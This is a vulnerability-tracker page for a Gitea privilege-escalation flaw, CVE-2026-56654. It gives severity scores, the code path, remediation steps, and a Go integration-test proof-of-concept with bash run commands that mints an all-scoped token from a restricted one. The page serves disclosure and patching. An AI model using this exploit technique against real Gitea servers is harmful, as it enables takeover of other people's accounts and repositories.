Skip to main content

Gitea CVE-2026-56654

| EUVDEUVD-2026-58143 CRITICAL
Improper Authentication (CWE-287)
2026-07-21 https://github.com/go-gitea/gitea GHSA-683j-3ff6-hh2x
9.8
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain leaked restricted token (e.g. CI secret)
  2. Delivery
    POST /users/{user}/tokens with scopes:[all] via Basic <token>:x-oauth-basic
  3. Exploit
    Guard misreads token as password auth (IsBasicAuth=true)
  4. Execution
    Handler mints all-scoped token, no scope ceiling
  5. Impact
    Full account takeover with new token

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must already possess a valid Personal Access Token for the target account - any non-empty scope suffices (the advisory demonstrates escalation from write:user). The token must be submitted specifically in the HTTP Basic form Authorization: Basic base64(<token>:x-oauth-basic), where the literal password 'x-oauth-basic' triggers Gitea's token-as-basic-auth path. No account password and no admin rights are required, and it works against default configurations of Gitea ≤ 1.26.4 with the API enabled. Limiting factors: exploitation is impossible without first obtaining a valid token (so it is not fully unauthenticated despite CVSS PR:N), the API/token endpoints must be reachable, and instances on 1.27.0 or later are not affected.

Impact

The signals are somewhat divergent and worth reconciling. The CVSS 3.1 base vector (AV:N/AC:L/PR:N/UI:N, 9.8 Critical) treats this as network, low-complexity, no-privilege - but that PR:N is questionable: exploitation genuinely requires possession of a valid (if low-privileged) Gitea token, so a more honest reading is PR:L. EPSS is low at 0.16% (5th percentile) and the CVE is not on CISA KEV, indicating no observed mass exploitation; the realistic threat is targeted rather than opportunistic. That said, the barrier to entry is minimal: the vulnerability is fully described with a copy-paste Go proof-of-concept in the vendor's own GHSA advisory, and low-scope tokens leak routinely from CI/CD secrets, .git-credentials, and logs - exactly the scenario the advisory calls out. So while the raw EPSS looks reassuring, any organization whose CI pipelines mint restricted Gitea tokens should treat token leakage as suddenly equivalent to full account takeover, and even a mid-sized municipal IT team should prioritize patching rather than defer on the low EPSS alone. Net: this is a real priority for anyone running self-hosted Gitea ≤ 1.26.4 with automation tokens, not a high-CVSS-but-low-real-risk paper cut, though it is not a spray-and-pray internet-worm risk either.

Exploit ScenarioDerived

An attacker recovers a restricted Gitea token - for example a write:user token leaked in a CI job log or a compromised build secret. They send POST /api/v1/users/<victim>/tokens with body {"scopes":["all"]}, authenticating as Authorization: Basic base64(<leakedToken>:x-oauth-basic); the request bypasses the password guard and returns 201 with a new all-scoped token. Using that token they now read/write all of the victim's repositories and account settings, as demonstrated by the published proof-of-concept integration test.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 14, 2026

Privilege escalation in Gitea's self-hosted Git service (all versions ≤ 1.26.4) lets an attacker holding a narrowly-scoped Personal Access Token mint a new token with any scope, including full 'all' access, without the account password. The POST /users/{username}/tokens endpoint is guarded by reqBasicOrRevProxyAuth, which is meant to force password auth, but supplying the token as Authorization: Basic base64(<token>:x-oauth-basic) tricks the guard into setting IsBasicAuth=true, and the token-creation handler enforces no scope ceiling. A working proof-of-concept integration test is published in the advisory, though there is no public exploit identified in the wild and EPSS is low (0.16%).

Earlier versions of this analysis (1)
v1 Jul 21, 2026 - 21:03

Privilege escalation in Gitea versions prior to 1.27.0 lets any holder of a low-scope personal access token mint a fully-privileged token without the account password. Supplying a restricted token (e.g. write:user leaked from a CI secret) in the Authorization: Basic <token>:x-oauth-basic format fools the reqBasicOrRevProxyAuth middleware into treating the request as password-authenticated, and the CreateAccessToken handler then enforces no scope ceiling, so a caller can request the all scope and gain full account access. The vendor patched this in 1.27.0; publicly available exploit code exists as a working integration test, but there is no public exploit identified as being used in active attacks.

RemediationAI

Vendor-released patch: upgrade to Gitea 1.27.0, which enforces a scope ceiling (see the new AccessTokenScope.CanCreateChildScope logic in models/auth/access_token_scope.go) and corrects the Basic-vs-token auth classification; fixes landed in PRs https://github.com/go-gitea/gitea/pull/38406 and https://github.com/go-gitea/gitea/pull/38426 and commits de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf. If you cannot upgrade immediately, treat every existing Personal Access Token as a potential full-account credential and rotate/revoke tokens that are not strictly needed, especially any embedded in CI/CD; restrict who can create tokens and audit the api/v1/users/*/tokens endpoint at the reverse proxy (blocking or requiring an additional auth layer on POST to that path, accepting that this also breaks legitimate password-based token creation through that proxy); and monitor for token-creation events originating from token-authenticated sessions. These compensating controls reduce but do not eliminate exposure - the only complete fix is the 1.27.0 upgrade. Advisory: https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea is a lightweight, self-hosted Git service written in Go (package code.gitea.io/gitea), widely used as an on-prem GitHub/GitLab alternative. The flaw is a chain of authentication-context confusion (CWE-287, Improper Authentication) plus a missing authorization check. Gitea supports the GitHub-style convention of passing an API token through HTTP Basic auth as '<token>:x-oauth-basic'. In services/auth/basic.go, parseAuthBasic recognizes the 'x-oauth-basic' password sentinel and validates the username field as a token via VerifyAuthToken, correctly recording LoginMethod='access_token' and the token's real ApiTokenScope (e.g. write:user). However, in services/auth/group.go the generic group verifier stamps AuthedMethod with the handler's name ('basic') rather than the actual credential type, and routers/common/auth.go derives IsBasicAuth by string-comparing AuthedMethod=='basic'. The reqBasicOrRevProxyAuth middleware in routers/api/v1/api.go trusts only that boolean, so a token-authenticated request is misclassified as password-authenticated. The second defect is in routers/api/v1/user/app.go CreateAccessToken, which normalizes and assigns the caller-requested scopes with no check that they are a subset of the calling token's scope - so there is no privilege ceiling once the guard is passed.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network API, low complexity, but a valid low-scope token is required so PR:L not PR:N; escalation yields full account read/write, giving high C/I/A.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 8.8 HIGH

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Analysis Updated
Aug 14, 2026 - 20:30 vuln.today
v2 - CVSS changed
CVSS changed
Aug 14, 2026 - 20:22 NVD
9.8 (CRITICAL)
CVE Published
Jul 21, 2026 - 20:24 cve.org
HIGH

DescriptionCVE.org

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling - it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name - "basic" - regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

go
package integration

import (
	"net/http"
	"testing"

	auth_model "gitea.dev/models/auth"
	"gitea.dev/models/unittest"
	user_model "gitea.dev/models/user"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check - it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Non-admin user - escalation is meaningful and not trivially justified.
	user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

	// Step 1 - Obtain a legitimately restricted token via password-based Basic auth.
	// Only write:user scope is granted; repository, admin, etc. are excluded.
	restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
		[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
	defer deleteAPIAccessToken(t, restrictedToken, user)

	// Confirm the restricted token is blocked from repository-scoped endpoints.
	// This establishes the baseline: write:user does not imply read:repository.
	req := NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(restrictedToken.Token)
	MakeRequest(t, req, http.StatusForbidden)

	// Step 2 - Exploit: supply the restricted token as Basic auth credentials.
	// Authorization: Basic base64("<token>:x-oauth-basic")
	//
	// Basic.Verify() validates the token and returns the user. group.Verify() then
	// sets AuthedMethod="basic" (the method name). auth.go maps that to
	// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
	// password was provided. CreateAccessToken then creates the token with the
	// requested "all" scope without checking whether it exceeds the caller's scope.
	payload := map[string]any{
		"name":   "poc-escalated",
		"scopes": []string{"all"},
	}
	req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
	req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

	// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
	// but is currently 201, confirming the vulnerability.
	resp := MakeRequest(t, req, http.StatusCreated)

	escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
	require.NotNil(t, escalatedToken)
	defer deleteAPIAccessToken(t, *escalatedToken, user)

	// Step 3 - The escalated token carries the "all" scope.
	assert.Contains(t, escalatedToken.Scopes, "all",
		"escalated token scope must be 'all'; original token only had write:user")

	// Step 4 - The escalated token can now reach endpoints blocked to the original
	// token, confirming real privilege gain beyond write:user.
	req = NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(escalatedToken.Token)
	MakeRequest(t, req, http.StatusOK)
}
bash
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

Executive ViewAI

Why It Matters

Gitea versions 1.26.4 and earlier suffer from a critical privilege escalation flaw allowing attackers holding narrowly-scoped Personal Access Tokens to mint new tokens with unrestricted administrative scope, potentially enabling complete compromise of self-hosted Git repositories. Organizations running vulnerable Gitea instances face risk of unauthorized code access and modification by any user with even limited token privileges.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular self-hosted Git service, common but not universally deployed
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy